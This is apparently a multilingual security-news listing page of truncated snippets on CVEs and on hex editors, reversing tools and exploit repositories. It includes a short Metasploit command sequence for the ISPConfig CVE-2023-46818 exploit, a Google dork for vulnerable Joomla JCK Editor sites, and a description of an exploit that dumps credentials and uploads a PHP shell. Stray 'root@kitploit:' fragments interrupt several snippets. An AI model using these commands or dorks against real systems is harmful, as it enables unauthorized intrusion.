The vulnerability of the R7-Officer corporate server’s document editor, related to the failure to take measures to neutralize special elements, allows a perpetrator to execute arbitrary code.

The vulnerability of the R7-Officer corporate server’s document editor is related to the lack of measures taken to neutralize special elements. Exploiting this vulnerability can allow for the execution of arbitrary code...

HexWalk

HexWalk - 16進エディタ/ビューア/アナライザ HexWalk は16進エディタ、ビューア、アナライザです。 qhexedit2、Capstone、Qt をベースに構築されており、内蔵の署名スキャナー HexDig を備えています。Binwalk に触発されました。 クロスプラットフォームで、多くの機能を備えています： 高度な検索（HEX、UTF8、UTF16、正規表現に基づいてバイナリファイル内のパターンを検索可能） バイナリ署名スキャナーと抽出器 — Options から HexDig（内蔵、設定不要）または Binwalk（外部）を選択 エントロピー分析 バイトマップ...

wxHexEditor

wxHexEditor Официальный GIT-репозиторий wxHexEditor Информация: http://www.wxhexeditor.org Инструкции по компиляции Просто выполните make! Зависимости компиляции в Linux wxgtk;...

CVE-2022-42097

Backdrop CMS 버전 1.23.0 취약점 설명: Backdrop CMS 버전 1.23.0에서 Comment를 통해 저장형 크로스 사이트 스크립팅XSS 취약점이 발견되었습니다. 공격 벡터: 공격자는 "댓글"에 무언가를 게시하고 "댓글" 입력란에 XSS 페이로드를 삽입한 후, 저장형 XSS를 악용하기 위해 Raw HTML 편집기를 선택해야 합니다. XSS 페이로드는 저장 직후 실행됩니다. 영향을 받는 대상: http://ipaddress/backdrop/comment/reply/idreply POST...

sops

SOPS: Операции с секретами SOPS — это редактор зашифрованных файлов, поддерживающий форматы YAML, JSON, ENV, INI и BINARY, и выполняющий шифрование с помощью AWS KMS, GCP KMS, Azure Key Vault, HuaweiCloud KMS, age и PGP. демо .. image:: https://i.imgur.com/X0TM5NI.gif .. image::...

Mohnad-AL-saif-CVE-2020-11107-XAMPP-Local-Privilege-Escalation

🧨 CVE-2020-11107 – XAMPP 로컬 권한 상승 Windows 📌 개요 CVE-2020-11107 은 Windows 에서 Apache Friends XAMPP 에 영향을 미치는 로컬 권한 상승LPE 취약점입니다. 권한이 없는 사용자가 XAMPP 제어판 구성 파일xampp-control.ini을 수정하고 기본 편집기 실행 파일notepad.exe을 악성 실행 파일로 교체할 수 있습니다. 다른 사용자예: 관리자가 제어판을 통해 로그를 열면 악성 바이너리가 희생자의 권한으로 실행되어 권한 상승 이 발생합니다. ❗ 이...

CVE-2018-17254

CVE-2018-17254 root@kitploit: Exploit Title: Joomla JCK Editor 6.4.4 - 'parent' SQL Injection Googke Dork: inurl:/plugins/editors/jckeditor/plugins/jtreelink/ Vendor Homepage: http://docs.arkextensions.com/downloads/jck-editor Version: 6.4.4 Tested on: Debian 10 Ubuntu Windows 11/10 CVE :...

masta-cve-2026-48907

Сканер MASTA CVE-2026-48907 Однофайловый автономный сканер для Joomla! JCE Editor Автор: Hussein Mohamed masta ghimau !CAUTION 🚨 ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ — ПРОЧТИТЕ ПЕРЕД ИСПОЛЬЗОВАНИЕМ ЭТО ИНСТРУМЕНТ ДЛЯ ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ С ВТОРЖЕНИЕМ. root@kitploit: ЭТОТ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО Д...

ImHex

리버스 엔지니어, 프로그래머, 그리고 새벽 3시에 작업할 때 자신의 망막을 소중히 여기는 사람들을 위한 헥스 에디터. /ˈɪmhɛks/...

CVE-2022-42096

Backdrop CMS версия 1.23.0 Описание уязвимости: В Backdrop CMS версии 1.23.0 обнаружена хранимая межсайтовая скриптинговая XSS уязвимость через контент Post. Векторы атаки: Атакующему необходимо опубликовать что-либо в "Post content" и вставить XSS-пейлоад в поле "Body", а также выбрать редактор...

Joomla-JCK-Editor-6.4.4-SQL-Injection

Joomla-JCK-Editor-6.4.4-SQL-Injection Joomla!용 JCK Editor Jtreelink 플러그인이 사용자 입력을 올바르게 처리하지 못하여 SQL 인젝션이 가능합니다. 이 익스플로잇은 이 보안 취약점을 이용하여 관리자 자격 증명을 덤프하고 PHP RCE 셸을 업로드할 수 있습니다. 익스플로잇 제목: Joomla JCK Editor 6.4.4 SQL Injection Google Dork: inurl:/plugins/editors/jckeditor/plugins/jtreelink/ 날짜:...

r2ai

R2AI - Augmented reversing with LLM for radare2 root@kitploit: ╭─────────────────────────────────╮ │ , . . , │ ╭──╮ │ : \ \ |: \ : | │ │ │ │ | |/ || , || : | │ │ O O | : \ \ . || : || | │ │ │╷ │ | |\ :||| || | │ │ ││ │ || : |||| │ │ ─╯│ ╰─────────────────────────────────╯ ╰───╯ Components This...

dnSpy

dnSpyEx dnSpyExは、dnSpyプロジェクトの非公式な継続版です。dnSpyはデバッガーであり、.NETアセンブリエディターです。ソースコードがなくても、アセンブリの編集とデバッグを行うことができます。主な機能は次のとおりです。 .NETアセンブリとUnityアセンブリのデバッグ .NETアセンブリとUnityアセンブリの編集 ライトテーマとダークテーマ 詳細な機能は以下を参照してください バイナリ 最新の安定版リリース: https://github.com/dnSpyEx/dnSpy/releases 最先端を行きたい場合は、最新の「ベータ」ビルドを以下から入手できます:...

CVE-2023-46818

Metasploit-модуль Модуль Metasploit root@kitploit: use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit Уязвимость была обнаружена в ISPConfig до версии 3.2.11p1. Внедрение PHP-кода может быть...

FileInsight-plugins

FileInsight-plugins: набор инструментов декодирования для шестнадцатеричного редактора McAfee FileInsight для анализа вредоносного ПО FileInsight-plugins — это большой набор плагинов для шестнадцатеричного редактора McAfee FileInsight. Он добавляет множество возможностей, таких как расшифровка,...

rehex

리버스 엔지니어를 위한 헥스 에디터 크로스 플랫폼Windows, Linux, macOS, BSD 헥스 에디터로, 리버스 엔지니어링 및 기타 모든 용도에 사용됩니다. 매뉴얼의 온라인 복사본은 여기에서 확인할 수 있습니다: solemnwarning.net/rehex/manual/. 기능 대용량1TB+ 파일 지원 정수/부동소수점 값 유형 디코딩 기계어 인라인 디스어셈블리 바이트 범위 강조 및 주석 전체 파일 또는 선택 영역의 나란히 비교 Lua 스크립팅 지원 API 참조 가상 주소 매핑 지원 일반적인 텍스트 인코딩 지원 ASCII,...

rehex

Reverse Engineers' Hex Editor A cross-platform Windows, Linux, macOS, BSD hex editor for reverse engineering, and everything else. An online copy of the manual can be accessed here: solemnwarning.net/rehex/manual/. Features Large 1TB+ file support Decoding of integer/floating point value types...

CVE-2026-82847

The Masteriyo LMS WordPress plugin before 3.4.1 does not sanitise and escape one of its course fields before outputting it back in the course editor, allowing users with the instructor role to perform Stored Cross-Site Scripting attacks against higher privileged users such as administrators...

Fermion

Fermion Fermion은 frida-node와 monaco-editor를 래핑하는 electron 애플리케이션입니다. 단일 UI를 통해 Frida 스크립트를 프로토타이핑하고, 테스트하고, 다듬을 수 있는 완전한 통합 환경을 제공합니다. Monaco가 통합됨에 따라 Visual Studio Code에서 기대할 수 있는 모든 기능린팅, IntelliSense, 키 바인딩 등을 사용할 수 있습니다. 또한 Fermion은 Frida API에 대한 TypeScript 언어 정의를 포함하므로 Frida 스크립트를 쉽게 작성할 수...

EUVD-2026-76788

The Masteriyo LMS WordPress plugin before 3.4.1 does not sanitise and escape one of its course fields before outputting it back in the course editor, allowing users with the instructor role to perform Stored Cross-Site Scripting attacks against higher privileged users such as administrators...